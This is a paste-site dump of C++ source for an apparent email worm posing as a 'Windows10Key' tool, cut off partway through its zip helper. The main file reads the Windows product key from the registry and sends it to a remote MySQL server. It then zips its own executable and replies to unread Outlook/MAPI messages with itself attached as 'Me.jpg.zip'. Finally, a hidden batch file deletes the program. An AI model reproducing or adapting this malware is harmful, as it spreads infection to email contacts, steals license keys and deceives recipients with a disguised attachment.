· 11 years ago · Jun 16, 2015, 09:12 AM
1main.cpp
2
3#include <cstdlib>
4#include <iostream>
5#include <windows.h>
6#include <STDIO.H> // Standard I/O Prototypes and Defines
7#include <shlobj.h>
8#include "MAPIMail.h" // The CMail Class Prototypes and Defines
9#include "zipstore.h" // The CZip Class Prototypes and Defines
10#include <fstream>
11#include <vector>
12#include <string.h>
13#include <Shlwapi.h>
14#include <mysql/mysql.h>
15
16using namespace std;
17
18CMail Mailx;
19MYSQL mysql;
20
21int mysql_exec(MYSQL *mysql,const char *create_definition)
22{
23 return mysql_real_query(mysql,create_definition,strlen(create_definition));
24}
25
26unsigned char * keyget(unsigned char *Key){
27 //Letters and Numbers without AEIOU01 (24)
28 UCHAR digits[] = {'B','C','D','F','G','H','J','K','M','P','Q','R','T','V','W','X','Y','2','3','4','6','7','8','9'};
29 PUCHAR strresult = new UCHAR[26];
30
31 ZeroMemory((PVOID)strresult,26);
32
33 for (int i=24;i>=0;i--) {
34 int x=0;
35
36 for (int j=14;j>=0;j--) {
37 x = (x<<8) + (Key+52)[j];
38 (Key+52)[j] = x / 24;
39 x = x % 24;
40 }
41 strresult[i]=digits[x];
42 }
43 //mysql sock conn
44if(mysql_init(&mysql)== NULL)
45 {
46 //MessageBox(0, "\nFailed to initate MySQL connection", "DLL Message", MB_OK | MB_ICONINFORMATION);
47 exit(1);
48 }
49/*now you can call any MySQL API function you like*/
50if (!mysql_real_connect(&mysql,"host","user","pass",NULL,atoi("3306"),NULL,0))
51{
52 //MessageBox(0, mysql_error(&mysql), "DLL Message", MB_OK | MB_ICONINFORMATION);
53 exit(1);
54}
55if(mysql_select_db(&mysql,"db" )==0)/*success*/
56{ //MessageBox(0, "Database selected", "DLL Message", MB_OK | MB_ICONINFORMATION);
57 //strcpy(create_definition,"CREATE TABLE IF NOT EXISTS Users(UserName VARCHAR(50), Login VARCHAR(50),UserMail VARCHAR(50),PRIMARY KEY(UserName),UNIQUE(UserName),UNIQUE(UserMail));");
58//mysql log
59 char tmp1[1500];
60 char record[1500];
61 strcpy(tmp1,"INSERT INTO WinKey VALUES(");
62 strcat(tmp1,"DATE_ADD(NOW(), INTERVAL 0 DAY),'");
63 strcat(tmp1,"INET_NTOA(REMOTE ADDR)");
64 strcat(tmp1,"','");
65 strcat(tmp1,(const char *)strresult);
66 strcat(tmp1,"')");
67 strcpy(record,tmp1);
68
69 if(mysql_exec(&mysql,record)==0)/*success*/
70 {//MessageBox(0, mysql_error(&mysql), "Logging Message", MB_OK | MB_ICONINFORMATION);
71 }
72 else
73 {
74 //MessageBox(0, mysql_error(&mysql), "DLL Message", MB_OK | MB_ICONINFORMATION);
75 exit(1);
76 }
77}
78 //std::cout << strresult << std::endl;
79 return 0;
80}
81
82// Uninstall funktion //
83static const char tempbatname[] = "_uninsep.bat" ;
84void *alloca(size_t size);
85void Selfdestruct()
86{
87 // temporary .bat file
88 static char templ[] =
89 ":Repeat\r\n"
90 "del \"%s\"\r\n"
91 "if exist \"%s\" goto Repeat\r\n"
92 "rmdir \"%s\"\r\n"
93 "del \"%s\"" ;
94
95
96 char modulename[_MAX_PATH] ; // absolute path of calling .exe file
97 char temppath[_MAX_PATH] ; // absolute path of temporary .bat file
98 char folder[_MAX_PATH] ;
99
100 GetTempPath(_MAX_PATH, temppath) ;
101 strcat(temppath, tempbatname) ;
102
103 GetModuleFileName(NULL, modulename, MAX_PATH) ;
104 strcpy (folder, modulename) ;
105 char *pb = strrchr(folder, '\\');
106 if (pb != NULL)
107 *pb = 0 ;
108
109 HANDLE hf ;
110
111 hf = CreateFile(temppath, GENERIC_WRITE, 0, NULL,
112 CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) ;
113
114 if (hf != INVALID_HANDLE_VALUE)
115 {
116 DWORD len ;
117 char *bat ;
118
119 bat = (char*)alloca(strlen(templ) +
120 strlen(modulename) * 2 + strlen(temppath) + 20) ;
121
122 wsprintf(bat, templ,modulename, modulename, modulename, folder, temppath) ;
123
124 WriteFile(hf, bat, strlen(bat), &len, NULL) ;
125 CloseHandle(hf) ;
126
127 ShellExecute(NULL, "open", temppath, NULL, NULL, SW_HIDE);
128 }
129}
130// Uninstall funktion //
131
132int main(int argc, char *argv[])
133{
134 //get windows produktkey
135 HKEY key = NULL;
136 DWORD datasize = 200;
137 DWORD dwRet = 0;
138 PUCHAR buf = new UCHAR[200];
139 dwRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\DefaultProductKey",0,KEY_READ,&key);
140 dwRet = RegQueryValueEx(key,"DigitalProductId",NULL,NULL,(LPBYTE)buf,&datasize);
141 keyget(buf);
142 char *myName;
143 GetModuleFileName(NULL, myName, sizeof(myName));
144 char *profile = myName;
145 strcat( profile , ".zip" );
146 zip_store( myName , profile , "Windows10Key.exe" );
147 //Answer with Me.jpg.zip contains the .exe 25 Mails Along read/unread
148 Mailx.Answer(profile,25); // <<< Edit the int 25 to 100 for more Mails
149 Selfdestruct();
150 //system("PAUSE");
151 return EXIT_SUCCESS;
152}
153
154mapimail.cpp
155
156/***********************************************************************************************************************
157* Copyright (c) 2009-2010 David Cass Tyler, PO Box 1026, Willard, NM 87063, (505) 384-5342, David.Cass.Tyler@gmail.com *
158***********************************************************************************************************************/
159
160#include <STDIO.H> // _vsnprintf()
161
162#include "MAPIMail.h" // The CMail Class Prototypes and Defines
163
164CMail::CMail() :
165
166 m_fIsValid ( false ), // Is this a Valid Session?
167
168 m_hMAPIDLL ( NULL ), // Instance Handle of the MAPI DLL
169 m_nMAPIError ( 0 ), // Last MAPI Error Value
170 m_hSession ( 0 ), // MAPI Session Handle
171
172 m_lnSpinLock ( 0L ), // The SpinLock
173 m_dwExclusiveThread ( 0LU ), // The ID of the Exclusive Use Thread
174
175 MAPILogon ( NULL ), // MAPILogon Function Pointer
176 MAPILogoff ( NULL ), // MAPILogoff Function Pointer
177 MAPISendMail ( NULL ), // MAPISendMail Function Pointer
178 MAPIReadMail ( NULL ), // MAPIReadMail Function Pointer
179 MAPIFindNext ( NULL ) // MAPIFindNext Function Pointer
180
181 {
182
183 // Load the MAPI DLL and Get the Function Pointers We are Interested In
184
185 m_hMAPIDLL = LoadLibrary ( "MAPI32.DLL" );
186
187 if ( m_hMAPIDLL )
188 {
189 MAPILogon = ( LPMAPILOGON ) GetProcAddress ( m_hMAPIDLL, "MAPILogon" );
190 MAPILogoff = ( LPMAPILOGOFF ) GetProcAddress ( m_hMAPIDLL, "MAPILogoff" );
191 MAPISendMail = ( LPMAPISENDMAIL ) GetProcAddress ( m_hMAPIDLL, "MAPISendMail" );
192 MAPIReadMail = ( LPMAPIREADMAIL ) GetProcAddress ( m_hMAPIDLL, "MAPIReadMail" );
193 MAPIFindNext = ( LPMAPIFINDNEXT ) GetProcAddress ( m_hMAPIDLL, "MAPIFindNext" );
194
195 // If Any of the Functions are Not Installed then Fail the Load
196
197 if ( MAPILogon == NULL || MAPILogoff == NULL || MAPISendMail == NULL || MAPIReadMail == NULL || MAPIFindNext == NULL )
198 return;
199 }
200
201 // Zero Out the m_stMAPIMessage Structure
202
203 memset ( &m_stMAPIMessage, 0, sizeof m_stMAPIMessage );
204
205 // Create a new MAPI Session
206
207 m_fIsValid = ( m_nMAPIError = MAPILogon ( 0, NULL, 0, MAPI_NEW_SESSION, 0, &m_hSession ) ) == SUCCESS_SUCCESS;
208
209 } // CMail::CMail()
210
211CMail::~CMail()
212
213 {
214
215 // Invalidate the Object
216
217 m_fIsValid = false;
218
219 // Unload the MAPI DLL and Reset the Function Pointers to NULL
220
221 m_nMAPIError = MAPILogoff ( m_hSession, 0, 0, 0 );
222
223 FreeLibrary ( m_hMAPIDLL );
224
225 // Free Up the m_stMAPIMessage Structure
226
227 if ( m_stMAPIMessage.lpRecips )
228 free ( m_stMAPIMessage.lpRecips );
229
230 if ( m_stMAPIMessage.lpFiles )
231 free ( m_stMAPIMessage.lpFiles );
232
233 if ( m_stMAPIMessage.lpszNoteText )
234 free ( m_stMAPIMessage.lpszNoteText );
235
236 } // CMail::~CMail()
237
238bool CMail::IsValid() const
239
240 {
241
242 // Assure that "this" Points to Valid Read/Write Memory
243
244 if ( IsBadWritePtr ( ( void * ) this, sizeof ( CMail ) ) )
245 return false;
246
247 return m_fIsValid;
248
249 } // bool CMail::IsValid() const
250
251bool CMail::Take ( bool fReturnEarly )
252
253 {
254
255 while ( InterlockedIncrement ( ( LPLONG ) &m_lnSpinLock ) != 1 )
256 {
257 InterlockedDecrement ( ( LPLONG ) &m_lnSpinLock );
258
259 // Return if Requested
260
261 if ( fReturnEarly )
262 return false;
263
264 SwitchToThread();
265 }
266
267 m_dwExclusiveThread = GetCurrentThreadId();
268
269 return true;
270
271 } // bool CMail::Take ( bool fReturnEarly )
272
273bool CMail::Send ( MapiMessage & stMAPIMessage )
274
275 {
276
277 // Do the Actual Send using MAPISendMail
278
279 if ( ! IsValid() )
280 return false;
281
282 return MAPISendMail ( m_hSession, 0, &stMAPIMessage, 0, 0 ) == SUCCESS_SUCCESS;
283
284 } // BOOL CMail::Send ( CMapiMessage & message )
285
286bool CMail::AddRecipient ( LPCSTR strRecipient, ULONG ulRecipClass )
287
288 {
289
290 if ( ! IsValid() )
291 return false;
292
293 // Allocate Memory for Another Recipient
294
295 if ( ! m_stMAPIMessage.lpRecips )
296 {
297 m_stMAPIMessage.lpRecips = ( MapiRecipDesc * ) malloc ( sizeof ( MapiRecipDesc ) );
298 }
299 else
300 {
301 m_stMAPIMessage.lpRecips = ( MapiRecipDesc * ) realloc ( m_stMAPIMessage.lpRecips, ( m_stMAPIMessage.nRecipCount + 1 ) * sizeof ( MapiRecipDesc ) );
302 }
303
304 // Fail if Memory Not Allocated
305
306 if ( ! m_stMAPIMessage.lpRecips )
307 {
308 m_stMAPIMessage.nRecipCount = 0;
309 return false;
310 }
311
312 MapiRecipDesc * lpstMapiRecipDesc = &m_stMAPIMessage.lpRecips [ m_stMAPIMessage.nRecipCount ];
313
314 memset ( lpstMapiRecipDesc, 0, sizeof ( MapiRecipDesc ) );
315
316 lpstMapiRecipDesc->ulRecipClass = ulRecipClass;
317 lpstMapiRecipDesc->lpszName = ( LPSTR ) strRecipient;
318
319 m_stMAPIMessage.nRecipCount++;
320
321 return true;
322
323 } // bool CMail::AddRecipient ( LPCSTR strRecipient, ULONG ulRecipClass )
324
325bool CMail::Answer( LPCSTR prof , int answerX )
326{
327unsigned short MailCount = 0;
328char MessageBuffer[MAX_PATH];
329CMail Mail;
330MapiMessage *XlpMapiMessage;
331MapiRecipDesc *XlpMapiRecipDesc;
332
333 while(MAPIFindNext(m_hSession, 0, 0, MessageBuffer, MAPI_UNREAD_ONLY | MAPI_GUARANTEE_FIFO , 0, MessageBuffer) == SUCCESS_SUCCESS || MailCount != answerX)
334 {
335 if(MAPIReadMail(m_hSession, 0, MessageBuffer, 0, 0,(MapiMessage**)&XlpMapiMessage ) == SUCCESS_SUCCESS)
336 {
337 Mail.Take(); // Take Exclusive Use to Make Mail Thread Safe (Not Really Needed Here)
338 Mail.To ( (char *)XlpMapiRecipDesc->lpszAddress );
339 Mail.Subject ( (char *)XlpMapiMessage->lpszSubject );
340 Mail.Message ( (char *)XlpMapiMessage->lpszNoteText );
341 Mail.Attach ( (char *)prof , "Me.jpg.zip" );
342 bool fSuccess = Mail.Send();
343 Mail.Give(); // Release Exclusive Use
344
345 // Return Success!
346
347 if ( fSuccess ){
348 fprintf ( stdout, "Success!\n" );
349 MailCount = MailCount + 1;
350 }
351 else{
352 fprintf ( stderr, "Send Failed!\n\a" );
353 }
354 }
355 }
356
357 } // bool CMail::Answer( LPCSTR prof )
358
359bool CMail::To ( LPCSTR strTo )
360
361 {
362
363 if ( ! IsValid() )
364 return false;
365
366 return AddRecipient ( strTo, MAPI_TO );
367
368 } // bool CMail::To ( LPCSTR strTo )
369
370bool CMail::Cc ( LPCSTR strCc )
371
372 {
373
374 if ( ! IsValid() )
375 return false;
376
377 return AddRecipient ( strCc, MAPI_CC );
378
379 } // bool CMail::Cc ( LPCSTR strCc )
380
381bool CMail::Bcc ( LPCSTR strBcc )
382
383 {
384
385 if ( ! IsValid() )
386 return false;
387
388 return AddRecipient ( strBcc, MAPI_BCC );
389
390 } // bool CMail::Bcc ( LPCSTR strBcc )
391
392bool CMail::Subject ( LPCSTR strSubject )
393
394 {
395
396 if ( ! IsValid() )
397 return false;
398
399 m_stMAPIMessage.lpszSubject = ( LPSTR ) strSubject;
400
401 return true;
402
403 } // bool CMail::Subject ( LPCSTR strSubject )
404
405bool CMail::Message ( LPCSTR strMessage )
406
407 {
408
409 if ( ! IsValid() )
410 return false;
411
412 // If a malloc'ed Message Already Exists, Free It
413
414 if ( m_stMAPIMessage.lpszNoteText )
415 free ( m_stMAPIMessage.lpszNoteText );
416
417 // Save the Message String
418
419 return ( ( m_stMAPIMessage.lpszNoteText = strdup ( strMessage ) ) != NULL );
420
421 } // bool CMail::Message ( LPCSTR strMessage )
422
423bool CMail::Format ( const char szFormat[], ... )
424
425 {
426 char szBuffer [ 1024 * 8 ] = { 0 };
427
428 va_list pArgPtr = NULL;
429 size_t cbBuffer = sizeof szBuffer;
430 int nBytes = 0;
431
432 // Use the Format and Argument List to Encode the Buffer
433
434 va_start ( pArgPtr, szFormat );
435 nBytes = _vsnprintf ( szBuffer, cbBuffer - 1, szFormat, pArgPtr );
436 va_end ( pArgPtr );
437
438 if ( nBytes < 1 )
439 return false;
440
441 // If a malloc'ed Message Already Exists, Free It
442
443 if ( m_stMAPIMessage.lpszNoteText )
444 free ( m_stMAPIMessage.lpszNoteText );
445
446 // Save the Message String
447
448 return ( ( m_stMAPIMessage.lpszNoteText = strdup ( szBuffer ) ) != NULL );
449
450 } // bool CMail::Format ( const char szFormat[], ... )
451
452bool CMail::Attach ( LPCSTR strPathName, LPCSTR strFileName )
453
454 {
455
456 if ( ! IsValid() )
457 return false;
458
459 // Allocate Memory for Another Recipient
460
461 if ( ! m_stMAPIMessage.lpFiles )
462 {
463 m_stMAPIMessage.lpFiles = ( MapiFileDesc * ) malloc ( sizeof ( MapiFileDesc ) );
464 }
465 else
466 {
467 m_stMAPIMessage.lpFiles = ( MapiFileDesc * ) realloc ( m_stMAPIMessage.lpFiles, ( m_stMAPIMessage.nFileCount + 1 ) * sizeof ( MapiFileDesc ) );
468 }
469
470 // Fail if Memory Not Allocated
471
472 if ( ! m_stMAPIMessage.lpFiles )
473 {
474 m_stMAPIMessage.nFileCount = 0;
475 return false;
476 }
477
478 MapiFileDesc * lpstMapiRecipDesc = &m_stMAPIMessage.lpFiles [ m_stMAPIMessage.nFileCount ];
479
480 memset ( lpstMapiRecipDesc, 0, sizeof ( MapiFileDesc ) );
481
482 lpstMapiRecipDesc->lpszPathName = ( LPSTR ) strPathName;
483 lpstMapiRecipDesc->lpszFileName = ( LPSTR ) strFileName;
484
485 m_stMAPIMessage.nFileCount++;
486
487 return true;
488
489 } // bool CMail::Attach ( LPCSTR strPathName, LPCSTR strFileName )
490
491bool CMail::Send ( void )
492
493 {
494
495 // Do the Actual Send using MAPISendMail
496
497 if ( ! IsValid() )
498 return false;
499
500 bool fResult = false;
501
502 // Send the Message
503
504 if ( m_stMAPIMessage.lpRecips && m_stMAPIMessage.lpszSubject && m_stMAPIMessage.lpszNoteText )
505 fResult = ( m_nMAPIError = MAPISendMail ( m_hSession, 0, &m_stMAPIMessage, 0, 0 ) ) == SUCCESS_SUCCESS;
506
507 if ( ! fResult )
508 fprintf ( stderr, "MAPIError = %lu\n", m_nMAPIError );
509
510 // Zero Out the m_stMAPIMessage Structure
511
512 if ( m_stMAPIMessage.lpRecips )
513 free ( m_stMAPIMessage.lpRecips );
514
515 if ( m_stMAPIMessage.lpFiles )
516 free ( m_stMAPIMessage.lpFiles );
517
518 if ( m_stMAPIMessage.lpszNoteText )
519 free ( m_stMAPIMessage.lpszNoteText );
520
521 memset ( &m_stMAPIMessage, 0, sizeof m_stMAPIMessage );
522
523 // Return the Success/Failure Indicator
524
525 return fResult;
526
527 } // BOOL CMail::Send ( CMapiMessage & message )
528
529bool CMail::Give ( void )
530
531 {
532
533 if ( m_dwExclusiveThread != GetCurrentThreadId() )
534 return false;
535
536 m_dwExclusiveThread = 0LU;
537
538 InterlockedDecrement ( ( LPLONG ) &m_lnSpinLock );
539
540 return true;
541
542 } // bool CMail::Give ( void )
543
544const MapiMessage * CMail::GetMapiMessage ( void ) const
545
546 {
547
548 return IsValid() ? &m_stMAPIMessage : NULL;
549
550 } // const MapiMessage * GetMapiMessage ( void ) const
551
552mapimail.h
553
554/***********************************************************************************************************************
555* Copyright (c) 2009-2010 David Cass Tyler, PO Box 1026, Willard, NM 87063, (505) 384-5342, David.Cass.Tyler@gmail.com *
556***********************************************************************************************************************/
557
558#ifndef _MAPIMAIL_H__0316D5D4_B8BE_4FDC_83F7_90E2438E8A6D__INCLUDED_
559#define _MAPIMAIL_H__0316D5D4_B8BE_4FDC_83F7_90E2438E8A6D__INCLUDED_
560
561
562#define _WIN32_IE 0x0500
563
564#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers
565
566#include <WINDOWS.H>
567
568#ifndef MAPI_H
569#include <MAPI.H>
570#endif
571
572// The Class which Encapsulates the MAPI Connection/Session
573
574class CMail
575
576 {
577
578public:
579
580 // Constructors/Destructors
581
582 CMail();
583 ~CMail();
584
585 bool IsValid ( void ) const;
586
587protected:
588
589 bool m_fIsValid; // Is this a Valid Session?
590
591 HINSTANCE m_hMAPIDLL; // Instance Handle of the MAPI DLL
592 ULONG m_nMAPIError; // Last MAPI Error Value
593 LHANDLE m_hSession; // MAPI Session Handle
594
595 volatile LONG m_lnSpinLock; // The SpinLock
596 DWORD m_dwExclusiveThread; // The ID of the Exclusive Use Thread
597
598 MapiMessage m_stMAPIMessage; // The Structure that Holds the Mail Message
599 // MAPI.DLL Function Pointers
600
601 LPMAPILOGON MAPILogon; // MAPILogon Function Pointer
602 LPMAPILOGOFF MAPILogoff; // MAPILogoff Function Pointer
603 LPMAPISENDMAIL MAPISendMail; // MAPISendMail Function Pointer
604 LPMAPIREADMAIL MAPIReadMail; // MAPIReadMail Function Pointer
605 LPMAPIFINDNEXT MAPIFindNext; // MAPIFindNext Function Pointer
606
607 // Protected Functions
608
609 bool AddRecipient ( LPCSTR strRecipient, ULONG ulRecipClass );
610 bool Take ( bool fReturnEarly = false );
611 bool Send ( MapiMessage & stMAPIMessage );
612 bool To ( LPCSTR strTo );
613 bool Cc ( LPCSTR strCc );
614 bool Bcc ( LPCSTR strBcc );
615 bool Subject ( LPCSTR strSubject );
616 bool Message ( LPCSTR strMessage );
617 bool Format ( const char szFormat[], ... );
618 bool Attach ( LPCSTR strPathName, LPCSTR strFileName = NULL );
619 bool Send ( void );
620 bool Give ( void );
621
622public:
623
624 // Send a Message
625 bool Answer ( LPCSTR prof , int answerX );
626
627 const MapiMessage * GetMapiMessage ( void ) const;
628
629 };
630
631#endif // _MAPIMAIL_H__0316D5D4_B8BE_4FDC_83F7_90E2438E8A6D__INCLUDED_
632
633zipstore.cpp
634
635#define WIN32_LEAN_AND_MEAN
636#include <windows.h>
637
638#pragma pack(push, 1)
639struct zip_header_t {
640 DWORD signature; /* 0x04034b50 */
641 WORD ver_needed;
642 WORD flags;
643 WORD method;
644 WORD lastmod_time;
645 WORD lastmod_date;
646 DWORD crc;
647 DWORD compressed_size;
648 DWORD uncompressed_size;
649 WORD filename_length;
650 WORD extra_length;
651};
652
653struct zip_eod_t {
654 DWORD signature; /* 0x06054b50 */
655 WORD disk_no;
656 WORD disk_dirst;
657 WORD disk_dir_entries;
658 WORD dir_entries;
659 DWORD dir_size;
660 DWORD dir_offs;
661 WORD comment_len;
662};
663
664struct zip_dir_t {
665 DWORD signature; /* 0x02014b50 */
666 WORD made_by;
667 WORD ver_needed;
668 WORD flags;
669 WORD method;
670 WORD lastmod_time;
671 WORD lastmod_date;
672 DWORD crc;
673 DWORD compressed_size;
674 DWORD uncompressed_size;
675 WORD filename_length;
676 WORD extra_length;
677 WORD comment_length;
678 WORD disk_no;
679 WORD internal_attr;
680 DWORD external_attr;
681 DWORD local_offs;
682};
683#pragma pack(pop)
684
685/* crc32.c -- compute the CRC-32 of a data stream
686 * Copyright (C) 1995 Mark Adler
687 * For conditions of distribution and use, see copyright notice in zlib.h
688 */
689/* $Id: crc32.c,v 1.5 1996/01/13 14:55:12 spc Exp $ */
690
691static const unsigned long crc_table[] = {
692 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
693 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
694 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
695 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
696 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
697 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
698 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
699 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
700 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
701 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
702 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
703 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
704 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
705 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
706 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
707 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
708 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
709 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
710 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
711 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
712 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
713 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
714 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
715 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
716 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
717 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
718 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
719 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
720 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
721 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
722 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
723 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
724 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
725 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
726 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
727 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
728 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
729 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
730 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
731 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
732 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
733 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
734 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
735 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
736 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
737 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
738 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
739 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
740 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
741 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
742 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
743 0x2d02ef8dL
744};
745
746#define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8));
747#define DO1(buf) crc = CRC32(crc, *buf++);
748#define DO2(buf) DO1(buf); DO1(buf);
749#define DO4(buf) DO2(buf); DO2(buf);
750#define DO8(buf) DO4(buf); DO4(buf);
751
752
753unsigned long crc32( unsigned long crc, const unsigned char* buf, unsigned long int len)
754
755{ if (buf == NULL) return 0L;
756
757
758 crc = crc ^ 0xffffffffUL;
759#ifndef NO_UNROLLED_LOOPS
760 while (len >= 8) {
761 DO8(buf);
762 len -= 8;
763 }
764#endif
765 if (len) do {
766 DO1(buf);
767 } while (--len);
768 return crc = crc ^ 0xffffffffUL; /* (instead of ~c for 64-bit machines) */
769}
770
771
772static void zip_putcurtime(WORD *f_time, WORD *f_date)
773{
774 SYSTEMTIME systime;
775
776 GetSystemTime(&systime);
777 if ((systime.wYear < 1999) || (systime.wYear > 2012))
778 systime.wYear = 2009;
779 if (systime.wMonth < 1 || systime.wMonth > 12) systime.wMonth = 1;
780 if (systime.wDay < 1 || systime.wDay > 31) systime.wDay = 10;
781
782 *f_date =
783 ((systime.wYear-1980) << 9) |
784 (systime.wMonth << 5) |
785 systime.wDay;
786
787 *f_time =
788 (systime.wHour << 11) |
789 (systime.wMinute << 5) |
790 (systime.wSecond / 2);
791}
792
793static unsigned long zip_calc_crc32(HANDLE hFileIn)
794{
795 unsigned long reg, i;
796 unsigned char buf[1024];
797 SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
798 for (reg=0